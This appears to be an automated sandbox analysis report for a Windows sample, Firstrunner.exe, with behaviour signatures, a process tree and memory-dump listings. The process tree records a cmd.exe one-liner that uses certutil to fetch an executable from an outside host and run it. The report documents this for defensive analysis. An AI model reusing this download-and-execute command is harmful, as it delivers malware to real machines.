Analysis
- max time kernel
150s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
19/09/2026, 12:53
General
- Target Firstrunner.exe
- Size 698KB
- Sample260919-p4ppds1bkd
- SHA256 881cfbdf9bdd614ec1728059c6aaf9468b3471f38e03df234d0bf28ed1c1de15
Malware Config
Signatures
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in Program Files directory 3 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 36 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Firstrunner.exe"C:\Users\Admin\AppData\Local\Temp\Firstrunner.exe"2⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://kupunasvolpiano.com/g/static/s/cinzel/v23/Taskforce.exe" "C:\Users\Admin\AppData\Local\Temp\0e59b0b80.exe" && "C:\Users\Admin\AppData\Local\Temp\0e59b0b80.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "https://kupunasvolpiano.com/g/static/s/cinzel/v23/Taskforce.exe" "C:\Users\Admin\AppData\Local\Temp\0e59b0b80.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/1624-1-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-0-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-3-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-4-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-17-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-19-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-16-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-20-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-12-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-26-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-25-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-24-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-28-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-23-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-21-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-13-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-11-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-10-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-15-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-8-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-6-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-9-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-7-0x0000000003970000-0x00000000039F3000-memory.dmp
memory/1624-5-0x0000000003970000-0x00000000039F3000-memory.dmp